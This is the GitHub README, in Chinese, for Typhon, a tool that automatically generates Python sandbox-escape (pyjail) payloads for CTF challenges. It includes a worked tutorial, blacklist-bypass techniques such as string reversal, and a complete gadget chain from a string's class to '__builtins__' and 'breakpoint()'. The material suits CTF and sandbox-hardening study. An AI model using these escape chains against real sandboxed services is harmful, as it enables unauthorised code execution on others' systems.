Skip to content

Team-intN18-SoybeanSeclab/Typhon

Repository files navigation

Typhon: Lets solve pyjail without brain

PyPI Downloads License Python_version PyPI Version Tests codecov

听着,我已经受够那些愚蠢的CTF pyjail题目了——每次我都要浪费时间在又臭又长的黑名单和各种pyjail总结之间找哪个链子没被过滤,或者在命名空间里一个一个运行dir()去找能用的东西。这简直就是一种折磨。

所以这就是Typhon(提丰),一个致力于让你不需要脑子也能做pyjail的一把梭工具。

image

文档: https://typhonbreaker.readthedocs.io/
博客: https://www.cnblogs.com/LAMENTXU/articles/19101758

请务必看完本readme后再使用Typhon工具,尤其是Q&A部分。

Highlights

  • 完全开源,免费的一把梭工具
  • 不需要大脑就能完成pyjail题目,爱护您的脑细胞和眼球
  • 拥有数百条gadgets和几乎所有主流的bypass方法
  • 支持多种函数以达成不同功能,如RCE用bypassRCE(), 读文件用bypassRead()等等
  • 不依赖任何第三方库,使用纯python3实现

How to Use

Install

你可以使用pip进行安装:

pip install TyphonBreaker

Interface

in Code

import Typhon
Typhon.bypassRCE(cmd: str,
    local_scope:dict=None,
    banned_chr:list=[],
    allowed_chr:list=[],
    banned_ast:list=[],
    banned_re:list=[],
    max_length:int=None,
    allow_unicode_bypass:bool=False,
    print_all_payload:bool=False,
    interactive:bool=True,
    depth:int=5,
    recursion_limit:int=200,
    log_level:str='INFO')
  • cmd: RCE所使用的bash command
  • local_scope: 沙箱内的全局变量空间,若无限制则忽略此参数
  • banned_chr: 禁止的字符
  • allowed_chr: 允许的字符([]为全部允许)
  • banned_ast: 禁止的AST节点
  • banned_re: 禁止的正则表达式(列表或字符串)
  • max_length: payload的最大长度
  • allow_unicode_bypass: 是否允许unicode绕过
  • print_all_payload: 是否打印所有payload
  • interactive: 当前pyjail是否允许stdin(即如breakpoint()等payload是否成立)
  • depth: 组合bypasser的最大深度(建议使用默认值)
  • recursion_limit: 最大递归深度(建议使用默认值)
  • log_level: 输出级别
    • info: 正常输出
    • debug: 调试输出,包含更多信息
    • quiet: 静默模式,只有banner和最终结果输出
import Typhon
Typhon.bypassREAD(filepath: str,
    mode:str='eval',
    local_scope:dict=None,
    banned_chr:list=[],
    allowed_chr:list=[],
    banned_ast:list=[],
    banned_re:list=[],
    max_length:int=None,
    allow_unicode_bypass:bool=False,
    print_all_payload:bool=False,
    interactive:bool=True,
    depth:int=5,
    recursion_limit:int=200,
    log_level:str='INFO')
  • filepath: 所读取的文件路径
  • mode: 沙箱内RCE的模式,可选evalexec,关系到最后外带输出的逻辑
  • local_scope: 沙箱内的全局变量空间,若无限制则忽略此参数
  • banned_chr: 禁止的字符
  • allowed_chr: 允许的字符([]为全部允许)
  • banned_ast: 禁止的AST节点
  • banned_re: 禁止的正则表达式(列表或字符串)
  • max_length: payload的最大长度
  • allow_unicode_bypass: 是否允许unicode绕过
  • print_all_payload: 是否打印所有payload
  • interactive: 当前pyjail是否允许stdin(即如breakpoint()等payload是否成立)
  • depth: 组合bypasser的最大深度(建议使用默认值)
  • recursion_limit: 最大递归深度(建议使用默认值)
  • log_level: 输出级别
    • info: 正常输出
    • debug: 调试输出,包含更多信息
    • quiet: 静默模式,只有banner和最终结果输出

此处注:此工具目前对bypassREAD函数的处理很不严谨。该函数将在后面的版本中得到大幅度的改善和细化。

Command Line Interface

这部分不是本工具的重点,但是PR welcome.

Step by Step Tutorial

你可以通过示例文档中的例题来学习 Typhon 的实战用法。以下仅仅提供一个示例。

假设有如下题目:

import re
def safe_run(cmd):
    if len(cmd) > 160:
        return "Command too long"
    if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):
        return "WAF!"
    if re.match(r'.*import.*', cmd):
        return "WAF!"
    exec(cmd, {'__builtins__': {}})

safe_run(input("Enter command: "))

Step1. 分析waf

首先,我们需要分析一下pyjail waf的功能(这可能是唯一需要大脑的地方)。

可以看出,上述题目的waf如下:

  • 限制长度最大值为160
  • 在exec的命名空间里没有__builtins__
  • 禁止使用builtins, import, {}字符
  • 设置了正则表达式'.*import.*'限制条件

Step2. 将waf导入Typhon

首先我们将exec行删除:

import re
def safe_run(cmd):
    if len(cmd) > 160:
        return "Command too long"
    if any([i for i in ['import', '__builtins__', '{}'] if i in cmd]):
        return "WAF!"
    if re.match(r'.*import.*', cmd):
        return "WAF!"

safe_run(input("Enter command: "))

然后,我们以Typhon对应的bypass函数替代exec行,在对应位置导入WAF, 并在该行上方import Typhon

import re
def safe_run(cmd):
    import Typhon
    Typhon.bypassRCE(cmd,
    banned_chr=['__builtins__', 'import', '{}'],
    banned_re='.*import.*',
    local_scope={'__builtins__': {}},
    max_length=160)

safe_run(input("Enter command: "))

Step3. 运行

运行你的题目程序,等待Jail broken的信息出现即可。

image

Q&A

  • 何时import Typhon

一定要将行import Typhon放在Typhon内置绕过函数的上一行(即使你患有PEP-8强迫症)。否则,Typhon将无法通过栈帧获取当前的全局变量空间。

Do:

def safe_run(cmd):
    import Typhon
    Typhon.bypassRCE(cmd,
    banned_chr=['builtins', 'os', 'exec', 'import'])

safe_run('cat /f*')

Don't:

import Typhon

def safe_run(cmd):
    Typhon.bypassRCE(cmd,
    banned_chr=['builtins', 'os', 'exec', 'import'])

safe_run('cat /f*')
  • 为什么需要使用与题目相同的python版本?

Pyjail中存在一些通过索引寻找对应object的gadgets(如继承链)。继承链的利用随着索引变化很大。因此,请务必确保Typhon的运行环境与题目相同。

无法保证?

是的,大多数题目都不会给出对应的python版本。因此,Typhon会在使用涉及版本的gadgets时做出提示

image

这种情况下往往需要CTF选手自己去找题目环境中该gadgets需要的索引值。

  • 如果题目的execeval没有限制命名空间怎么办?

假设题目没有限制命名空间,则不必填写local_scope参数。Typhon会自动使用import Typhon时的当前命名空间进行绕过

  • 这个payload我用不了能不能换一个?

你可以在参数中加上print_all_payload=True,Typhon就会打印其生成的所有payload。

  • 这个WEB题好像没开放stdin,我exec(input())没用怎么办?

你可以在参数中加上interactive=False,Typhon就会禁止使用所有涉及stdin的payload。

  • 最后输出的payload没回显怎么办?

对于bypassRCE,我们认为:只要命令得到了执行,就是RCE成功。 至于回显问题,你可以选择反弹shell,时间盲注,或者:添加print_all_payload=True参数,查看所有payload,其中可能含有能够成功回显的payload。

Proof of Concept

Typhon的工作原理如下:

bypass by path & technique

我们定义两种bypass方式:

  • path: 通过不同的载荷进行绕过(例如os.system('calc')subprocess.Popen('calc')
  • technique: 使用不同技术对相同的有效载荷进行处理从而绕过(例如,os.system('c'+'a'+'l'+'c')os.system('clac'[::-1]))

Typhon内置了上百种path。每次我们要绕过获取某个东西时,我们先通过local_scope找到所有可以用的path,接下来,通过bypasser.py中的technique生成每个path对应的不同变体,并尝试绕过黑名单。

gadgets chain

本思路受到pyjailbreaker工具的启发。

pyjailbreaker不直接通过gadgets一步到位实现RCE,而是一步一步寻找RCE链条中需要的项。如假设存在下列黑名单:

  • 本地命名空间无__builtins__
  • 禁止使用builtins字符

对于这个WAF,Typhon是这样处理的:

  • 首先,我们通过'J'.__class__.__class__获取type
  • 随后,我们找到获取type后可能可以获取builtins的RCE链子TYPE.__subclasses__(TYPE)[0].register.__globals__['__builtins__']
  • 已知题目黑名单过滤了__builtins__字符,则我们将此path投入bypasser产生数十种变体。选择其中最短的变体:TYPE.__subclasses__(TYPE)[0].register.__globals__['__snitliub__'[::-1]]
  • 随后,我们找到获取__builtins__后的RCE链子BUILTINS_SET['breakpoint']()
  • 最后,我们将代表builtins字典的占位符BUILTINS_SET替换为上步中获取的__builtins__路径,以此类推,将TYPE占位符替换为真实的路径,就得到了最终的payload。
'J'.__class__.__class__.__subclasses__('J'.__class__.__class__)[0].register.__globals__['__snitliub__'[::-1]]['breakpoint']()

Step by Step

Typhon的workflow顺序如下:

  • 每一个终点函数(bypassRCE, bypassREAD,etc.)都会调用主函数bypassMAIN,主函数会尽可能搜集所有的可用gadgets(如上例中的type)并将收集到的内容传递给对应的下级函数。
  • bypassMAIN函数在简单分析完当前的变量空间后,会:
    • 尝试直接RCE(如help(), breakporint()
    • 尝试获取生成器
    • 尝试获取type
    • 尝试获取object
    • 尝试获取bytes
    • 如当前空间中的__builtins__未被删除,但被修改,尝试恢复(如id.__self__
    • 如当前空间中的__builtins__被删除,尝试从其他命名空间恢复
    • 承上,尝试继承链绕过
    • 尝试获取import包的能力
    • 尝试直接通过可能恢复的__builtins__ RCE
    • 将结果传递给下级函数
  • 下级函数拿到bypassMAIN的结果后,会根据该函数所实现的需求,选择对应的gadgets进行处理(如bypassRCE专注于RCE,bypassREAD专注于文件读取,bypassENV专注于读取环境变量)。其过程与上述相似。

Limitations

  • 目前Typhon只支持python 3.9及以上版本。

  • 目前Typhon只支持linux沙箱。

  • 目前Typhon尚无法绕过audithook沙箱。

  • 由于Typhon采用局部最优的递归策略,对于一些简单的题目,反而需要耗时更久(约1min)。

  • 目前已知的不支持的bypass方法:

    • Typhon不支持以list.pop(0)代替list[0],这是因为Typhon所生成的payload都需要经过本地执行验证才能成立,而pop方法在验证时会将元素从列表中删除,从而破坏后续环境。

Milestones

v1.0 (已发布)

  • 实现基本框架

v1.1

  • 实现更多绕过器
    • 使用魔术方法替换二元运算符 (a.__add__(b)替换a+b)
    • list.pop(0)替换list[0]
    • list(dict(a=1))[0]替换'a'
    • str()替换空字符串
  • 实现内置的bash bypasser
  • 更好的bypassREAD函数
  • 实现白名单功能
  • 自动寻找bytes

v1.2

  • 实现audithook沙箱的绕过
  • 在没有长度限制的情况下,不使用局部长度最优的递归算法
  • 实现bypassENV函数,用于环境变量的读取

Contributing

提供Typhon无法解出的题目

我们将长期收集Typhon无法解出的题目。这对提升工具性能及其重要!如果你碰到无法一把梭的题目,请于本仓库打开issue,并写明题目来源(最好有对应的题解),我们会尽可能实现对该题目的自动求解。

作为回报,我们会在下一个release版本中囊括您的github ID。

Credits

Author & Maintainer

@ LamentXU (Weilin Du)

Contributors

感谢所有对此项目做过贡献的人:

Copyright

针对bash绕过的内置绕过器,感谢bashFuck项目的作者@ ProbiusOfficial,其License于此。

Copyright (c) 2024 ProbiusOfficial.

下游项目(若有)请务必涵盖此。

另:当前版本中尚未添加此功能。此copyright信息为预先保留。

Speical Thanks

@ 黄豆安全实验室给予我必须的鼓励
@ pyjailbreaker项目给予我启发

License

这个项目在Apache 2.0协议下发布。

Copyright (c) 2025 Weilin Du.

Star History Chart